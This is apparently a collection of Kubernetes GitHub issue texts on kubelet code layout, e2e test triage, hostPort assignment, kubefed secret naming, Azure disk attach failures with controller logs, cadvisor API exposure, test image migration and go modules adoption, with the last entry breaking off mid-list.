handles most files except kubelet/util.go and kubelet/util/format.go. there are 5 functions between these 2 files:  util.go: canrunpod  move to pod/podinfo  allowhostnetwork  move to pod/podinfo  capacityfrommachineinfo  i'm not sure where to put this   util/format.go has 2 functions that format pod information, and can go to either pod/format.go, or a new package format in kubelet  if we think we might want to format other objects in the future .  i think the proposed structure better organizes the kubelet code by functionality. also, since most code is in it's own package  as opposed to having a giant kubelet package with lots of files , cyclic dependencies won't pose a problem, and it's easier to identify the file a function is defined in. any thoughts?

the biggest complaint i have so far when triaging node e2e test failures is that it's hard to figure out which image the failed test ran on.   some suggestions off the top of my head:  - quick fix: separate different images by printing clear, big \ beginning\  and \ end\  lines.  - upload individual build log for each image to the google cloud storage bucket  artifacts/ , and only the links to the logs in the main  build.log . - prefix each line with the image name.  /cc @random-liu @dchen1107

as we know, in mesos/marathon, if port is set as 0, then the framework will randomly assign port to replace 0, the port assignment strategy is based on the available ports resource on the node,\r example: if app sets \ ports\ :  0 ,\r the available port resource on node is  \ 2000-3000\    the framework will replace the port as:\r \ ports\ :  2001 .\r and set env variable port0=2001\r \r however, in k8s there's no automatic hostport assignment strategy, hostport must be specified by the user,  this may result in hostport conflicts. \r example:\r rc's replicas is 3, and the hostport is set as 9999,  hostnetwork: true, there's 2 nodes available port 9999 is not used :\r then only 2 but not 3 pods will be created successfully. is it possible that set the  hostport as 0 and k8s will assign the port automatically, as long as there's no port conflict to ensure 3 pods created. the app can listen the port assigned by k8s to replace 9999.\r \r hope to get your ack, thanks in advance!

kubefed join  uses the name of the cluster context to create a secret in which it stores the cluster credentials. the secret naming rules are very restrictive. only valid dns subdomain names as described in  rfc 1123  https://tools.ietf.org/html/rfc1123  are allowed. \r \r when a user runs  kubefed join  today with a cluster context that doesn't conform to these rules, we just give up midway leaving federation in a bad state. users are expected to run  kubefed join  again with a correct value for  --secret-name  flag. but since federation is left in a bad state from the previous run, users can't run the  join  command again without manually cleaning up the artifacts. we have plans to add pre-flight checks to avoid leaving federation in a bad state. see https://github.com/kubernetes/kubernetes/issues/41725 issuecomment-282591166. while this alleviates the situation, it is still a poor user experience and hence isn't sufficient. \r \r it really doesn't matter to a user what those secret names exactly are as long as they conform to the naming rules. it is like a hidden detail. so we should always generate the secret name instead of deriving it from the cluster context.\r \r cc @kubernetes/sig-federation-feature-requests

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r azure, disk, detach, attach, containercreating\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r \r   kubernetes version    use  kubectl version  :\r     \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie \r -   kernel    e.g.  uname -a  : 4.4.0-28-generic\r -   install tools  : azure acs\r -   others  :\r \r \r   what happened  :\r we have a small k8s cluster deployed on azure through azure container service. configuration includes some database servers pods, managed by deployments  single pod per deployment  and using dynamic provisioning of volumes via  persistentvolumclaim  and  storageclass  as a storage backend. \r for some cloud provider related reason, some cluster nodes went down, as shown by this example kube controller manager log entry:  i0524 00:36:58.826461       1 nodecontroller.go:608  nodecontroller detected that zone westeurope::1 is now in state fulldisruption. \r judging by the logs that followed, nodes came back up, and k8s rescheduled pods. however some db server pods seem to have been unable to attach/mount the persistent volumes, and end end up stuck in  containercreating state with messages such as:\r \r     \r events:\r   firstseen     lastseen        count   from                            subobjectpath   type            reason          message\r   ---------     --------        -----   ----                            -------------   --------        ------          -------\r   1h            3s              36      kubelet, k8s-agent-4ba79e32-1                   warning         failedmount   unable to mount volumes for pod \ mongodb-deployment-1225361271-d1z50_default b39cc50b-4098-11e7-beb6-000d3a290a1b \ : timeout expired waiting for volumes to\r attach/mount for pod \ default\ /\ mongodb-deployment-1225361271-d1z50\ . list of unattached/unmounted volumes= mongo-data \r   1h            3s              36      kubelet, k8s-agent-4ba79e32-1                   warning         failedsync      error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mongodb-deployment-1225361271-d1z50\ . list of unattached\r /unmounted volumes= mongo-data \r     \r \r we tried to force pod deletion in some cases to try to understand what was going on, which resulted in them being recreated  as they're managed by the deployments , and some volumes were correctly reattached, some weren't. \r it thus seems that:\r - some volumes may never be detached from the previous hosts, or at least the subsequent azure storage leases are not unlocked\r - the rescheduled pods keep attempting to attach and mount the volumes unsuccessfully, apparently because they fail to acquire the lease on the azure disk \r - the behavior is not consistent since a forced pod restart \ worked\  in some cases but not for all of them\r \r   what you expected to happen  :\r rescheduled pods being able to attach and mount the pvs.\r \r   how to reproduce it    as minimally and precisely as possible :\r we have   not   been able to reproduce exactly similar situations yet.\r similar error messages showed up after shutting down and restarting  some  k8s agent instances of the cluster, but eventually resolved themselves autonomously.\r \r example message shown on the dashboard:\r     \r failed to attach volume \ pvc-eebe3ea2-25e6-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-2\  with: attach volume \ xxxxxx-dynamic-pvc-eebe3ea2-25e6-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-2\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxx-dynamic-pvc-eebe3ea2-25e6-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxx-dynamic-pvc-eebe3ea2-25e6-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r controller-manager\r -\r 8\r 2017-05-25t08:57 utc\r 2017-05-25t09:02 utc\r warning\r unable to mount volumes for pod \ xxxxxx-deployment-2280494963-38lj9_default 14aaed41-4128-11e7-a262-000d3a290a1b \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ xxxxxx-deployment-2280494963-38lj9\ . list of unattached/unmounted volumes= xxxxxx-data \r kubelet k8s-agent-4ba79e32-2\r -\r 4\r 2017-05-25t08:58 utc\r 2017-05-25t09:05 utc\r warning\r error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ xxxxxx-deployment-2280494963-38lj9\ . list of unattached/unmounted volumes= xxxxxx-data \r     \r \r our setup is the following:\r - k8s 4 nodes  3+1 master  cluster on azure deployed via acs\r - several database pods managed via  deployments  and using dynamically provisioned storage  pvc +  storageclass  \r \r   anything else we need to know  :\r \r here is a  filtered  kuber controller log:\r     \r e0524 00:53:33.979078       1 azure_storage.go:65  azure attach failed, err: compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r e0524 00:53:37.075006       1 azure_storage.go:65  azure attach failed, err: compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' to vm 'k8s-agent-4ba79e32-1' because the disk is currently being detached. please wait until the disk is completely detached and then try again.\ \r i0524 00:53:37.075135       1 attacher.go:110  attach volume \ https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-1\  failed with compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' to vm 'k8s-agent-4ba79e32-1' because the disk is currently being detached. please wait until the disk is completely detached and then try again.\ \r i0524 00:53:37.075952       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ orientdb-deployment-923453513-g0r2b\ , uid:\ b4ecbb07-4019-11e7-beb6-000d3a290a1b\ , apiversion:\ v1\ , resourceversion:\ 4738054\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-1\  with: attach volume \ xxxxxxx-dynamic-pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-1\  failed with compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' to vm 'k8s-agent-4ba79e32-1' because the disk is currently being detached. please wait until the disk is completely detached and then try again.\ \r e0524 00:53:37.076042       1 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/azure-disk/xxxxxxx-dynamic-pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b.vhd\\\ \  failed. no retries permitted until 2017-05-24 00:54:09.07528436 +0000 utc  durationbeforeretry 32s . error: failed to attach volume \ pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-1\  with: attach volume \ xxxxxxx-dynamic-pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-1\  failed with compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' to vm 'k8s-agent-4ba79e32-1' because the disk is currently being detached. please wait until the disk is completely detached and then try again.\ \r i0524 00:53:54.316036       1 attacher.go:110  attach volume \ https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-0\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r e0524 00:53:54.316247       1 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/azure-disk/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\\\ \  failed. no retries permitted until 2017-05-24 00:53:55.31614553 +0000 utc  durationbeforeretry 1s . error: failed to attach volume \ pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-0\  with: attach volume \ xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-0\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r i0524 00:53:54.316314       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ mongodb-deployment-1225361271-6k1lx\ , uid:\ b5b165b6-4019-11e7-beb6-000d3a290a1b\ , apiversion:\ v1\ , resourceversion:\ 4738080\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-0\  with: attach volume \ xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-0\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r i0524 00:53:55.395612       1 reconciler.go:213  started attachvolume for volume \ kubernetes.io/azure-disk/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\  to node \ k8s-agent-4ba79e32-0\ \r e0524 00:54:00.812549       1 azure_storage.go:65  azure attach failed, err: compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r i0524 00:54:00.812607       1 azure_storage.go:69  failed to acquire disk lease, try detach\r e0524 00:54:10.965224       1 azure_storage.go:65  azure attach failed, err: compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' to vm 'k8s-agent-4ba79e32-1' because the disk is currently being detached. please wait until the disk is completely detached and then try again.\ \r i0524 00:54:10.965376       1 attacher.go:110  attach volume \ https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-1\  failed with compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' to vm 'k8s-agent-4ba79e32-1' because the disk is currently being detached. please wait until the disk is completely detached and then try again.\ \r e0524 00:54:10.965733       1 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/azure-disk/xxxxxxx-dynamic-pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b.vhd\\\ \  failed. no retries permitted until 2017-05-24 00:55:14.965698079 +0000 utc  durationbeforeretry 1m4s . error: failed to attach volume \ pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-1\  with: attach volume \ xxxxxxx-dynamic-pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-1\  failed with compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' to vm 'k8s-agent-4ba79e32-1' because the disk is currently being detached. please wait until the disk is completely detached and then try again.\ \r i0524 00:54:10.965845       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ orientdb-deployment-923453513-g0r2b\ , uid:\ b4ecbb07-4019-11e7-beb6-000d3a290a1b\ , apiversion:\ v1\ , resourceversion:\ 4738054\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-1\  with: attach volume \ xxxxxxx-dynamic-pvc-eed5bb6d-25e6-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-1\  failed with compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' to vm 'k8s-agent-4ba79e32-1' because the disk is currently being detached. please wait until the disk is completely detached and then try again.\ \r i0524 00:54:21.111111       1 attacher.go:110  attach volume \ https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-0\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r e0524 00:54:21.111248       1 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/azure-disk/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\\\ \  failed. no retries permitted until 2017-05-24 00:54:23.111221475 +0000 utc  durationbeforeretry 2s . error: failed to attach volume \ pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-0\  with: attach volume \ xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-0\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r i0524 00:54:21.111803       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ mongodb-deployment-1225361271-6k1lx\ , uid:\ b5b165b6-4019-11e7-beb6-000d3a290a1b\ , apiversion:\ v1\ , resourceversion:\ 4738080\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b\  on node \ k8s-agent-4ba79e32-0\  with: attach volume \ xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\  to instance \ k8s-agent-4ba79e32-0\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r i0524 00:54:23.185104       1 reconciler.go:213  started attachvolume for volume \ kubernetes.io/azure-disk/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd\  to node \ k8s-agent-4ba79e32-0\ \r e0524 00:54:41.756587       1 azure_storage.go:65  azure attach failed, err: compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd' using blob with uri https://xxxxxxxstandardstorage.blob.core.windows.net/vhds/xxxxxxx-dynamic-pvc-f71bb8b5-25dd-11e7-beb6-000d3a290a1b.vhd. blob is already in use.\ \r i0524 00:54:41.756666       1 azure_storage.go:69  failed to acquire disk lease, try detach\r     \r \r i must admit i am unsure wether this could be an kubernetes issue with azure storage or an acs related issue.\r happy to help/assist in understanding this.\r

failure cluster  b5bfce234bfe6efc2e3d  https://go.k8s.io/triage b5bfce234bfe6efc2e3d        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/stackdriver_monitoring.go:69 expected error:     < googleapi.error | 0xc4213bc1e0>: {         code: 400,         message: \ the project \\\ k8s-jkns-e2e-gke-stackdriver\\\  is in service tier  unknown  and projects in this service tier cannot read container.googleapis.com/container/uptime. to change tiers, please see the instructions at: https://cloud.google.com/monitoring/accounts/tiers\ ,         body: \ {\   \\\ error\\\ : {\     \\\ code\\\ : 400,\     \\\ message\\\ : \\\ the project \\\\\\\ k8s-jkns-e2e-gke-stackdriver\\\\\\\  is in service tier  unknown  and projects in this service tier cannot read container.googleapis.com/container/uptime. to change tiers, please see the instructions at: https://cloud.google.com/monitoring/accounts/tiers\\\ ,\     \\\ errors\\\ :  \       {\         \\\ message\\\ : \\\ the project \\\\\\\ k8s-jkns-e2e-gke-stackdriver\\\\\\\  is in service tier  unknown  and projects in this service tier cannot read container.googleapis.com/container/uptime. to change tiers, please see the instructions at: https://cloud.google.com/monitoring/accounts/tiers\\\ ,\         \\\ domain\\\ : \\\ global\\\ ,\         \\\ reason\\\ : \\\ badrequest\\\ \       }\      ,\     \\\ status\\\ : \\\ invalid_argument\\\ \   }\ }\ \ ,         header: nil,         errors:               {                 reason: \ badrequest\ ,                 message: \ the project \\\ k8s-jkns-e2e-gke-stackdriver\\\  is in service tier  unknown  and projects in this service tier cannot read container.googleapis.com/container/uptime. to change tiers, please see the instructions at: https://cloud.google.com/monitoring/accounts/tiers\ ,             },          ,     }     googleapi: error 400: the project \ k8s-jkns-e2e-gke-stackdriver\  is in service tier  unknown  and projects in this service tier cannot read container.googleapis.com/container/uptime. to change tiers, please see the instructions at: https://cloud.google.com/monitoring/accounts/tiers, badrequest not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/stackdriver_monitoring.go:113           failure cluster statistics: 1 tests failed,    1 jobs failed,    95 builds failed. failure stats cover 1 day time range '26 may 2017 14:01 utc' to '27 may 2017 14:01 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  stackdriver monitoring should have cluster metrics  feature:stackdrivermonitoring  | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-stackdriver | 95 |  27 may 2017 13:43 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-stackdriver/4187  |   current status  https://go.k8s.io/triage b5bfce234bfe6efc2e3d

failure cluster  b76964c41e6ff770deba  https://go.k8s.io/triage b76964c41e6ff770deba        error text:     expected error:     < url.error | 0xc4212602d0>: {         op: \ get\ ,         url: \ https://104.154.136.27/api/v1/namespaces/e2e-tests-job-upgrade-1hjsq/pods?labelselector=job%3dfoo\ ,         err: {             op: \ dial\ ,             net: \ tcp\ ,             source: nil,             addr: {                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 104, 154, 136, 27 ,                 port: 443,                 zone: \ \ ,             },             err: {                 syscall: \ getsockopt\ ,                 err: 0x6f,             },         },     }     get https://104.154.136.27/api/v1/namespaces/e2e-tests-job-upgrade-1hjsq/pods?labelselector=job%3dfoo: dial tcp 104.154.136.27:443: getsockopt: connection refused not to have occurred  k8s.io/kubernetes/test/e2e/upgrades.  jobupgradetest .test 0x56e14e0, 0xc4211908c0, 0xc42109a6c0, 0x2  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/job.go:56 +0x17b k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test 0xc42117bdc0, 0xc420aacd60  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:205 +0x1ed k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test-fm 0xc420aacd60  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:270 +0x34 k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc420aacd60, 0xc4209fe1d0  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76 created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:90 +0x1c7           failure cluster statistics: 2 tests failed,    27 jobs failed,    96 builds failed. failure stats cover 1 day time range '16 jul 2017 02:32 utc' to '17 jul 2017 02:32 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | job-upgrade | 27 | | deployment-upgrade | 15 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster-new | 7 |  17 jul 2017 01:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster-new/278  | | ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster | 6 |  16 jul 2017 21:31 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster/272  | | ci-kubernetes-e2e-gke-gci-1-6-gci-1-7-upgrade-master | 6 |  17 jul 2017 01:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-6-gci-1-7-upgrade-master/278  |   current status  https://go.k8s.io/triage b76964c41e6ff770deba

irc user dagon_ was concerned that the cadvisor api is exposed and unprotected on his minions.  should this api be protected? - it appears to only be readonly and only have resource usage information - however, exposing an unnecessary api without auth could still go against principle - could it run on localhost?  it is in a pod, and there doesn't appear to be a way to have a pod use a port only on localhost. - the pod config does not appear to setup basic auth for cadvisor.

-     \ k8s-sample-admission-webhook\   to \ gcr.io/kubernetes-e2e-test-images\   \r        - fixing build for this image  here  https://github.com/kubernetes/kubernetes/pull/66665   merged \r        - need to publish from directory  test/images/webhook \r -     \ k8s-aggregator-sample-apiserver\   to \ gcr.io/kubernetes-e2e-test-images\   \r        - really old image build from k/k 1.7 branch, about to be  promoted to conformance  https://github.com/kubernetes/kubernetes/pull/63947 . \r        - adding a new image  here  https://github.com/kubernetes/kubernetes/pull/66686   approved - in submit queue \r        - need to publish from directory  test/images/sample-apiserver \r -     \ k8s-dns-dnsmasq\   to \ k8s.gcr.io\   \r        - all we need is  dnsmasq , so adding that to  dnsutils  image  here  https://github.com/kubernetes/kubernetes/pull/66695   merged \r        - need to publish from directory  test/images/dnsutils \r -     \ gb-frontend\   to \ gcr.io/google-samples\  repo  \r        - looks like fixed up in https://github.com/kubernetes/examples/commit/5f484579b5cc04900591c61cf87ece00fe8426d7\r        - we need https://github.com/kubernetes/examples/pull/255 merge too!  merged \r        - need to publish from  k8s.io/examples/guestbook/php-redis \r -     \ gb-redisslave\   to \ gcr.io/google-samples\  repo  \r        - looks like fixed up in https://github.com/kubernetes/examples/commit/5f484579b5cc04900591c61cf87ece00fe8426d7   merged \r        - need to publish from  k8s.io/examples/guestbook/redis-slave \r -     \ nginx-slim\  \r        - being fixed in https://github.com/kubernetes/kubernetes/pull/66055/  review \r

 \r   description  :\r \r this issue is to track the list of issues for a go modules  aka vgo  adoption. the list itself is a work in progress, and will be updated as issues popup or get resolved.\r \r first class of issues: the current godep snapshot of packages is not a valid solution as far as go modules are concerned\r -  x  gonum and cadvisor conflict. details in  68478\r -     heketi and k/k conflict. details in heketi/heketi 1272\r \r this list needs to be empty to actually perform the migration. post-migration, the burden will move to the dependency update workflow  similar issues will block the update .\r \r some more issues are to be expected, due to mainly 2 factors:\r - go modules reason about test dependencies in addition to \ regular\  dependencies, which we currently completely ignore\r - a large chunk of our dependencies are not versioned at all, meaning that no semver guarantees apply. it'll be easy to get incompatibilities once our dependencies start using go modules themselves.\r \r \r second class of issues: tooling needed\r -     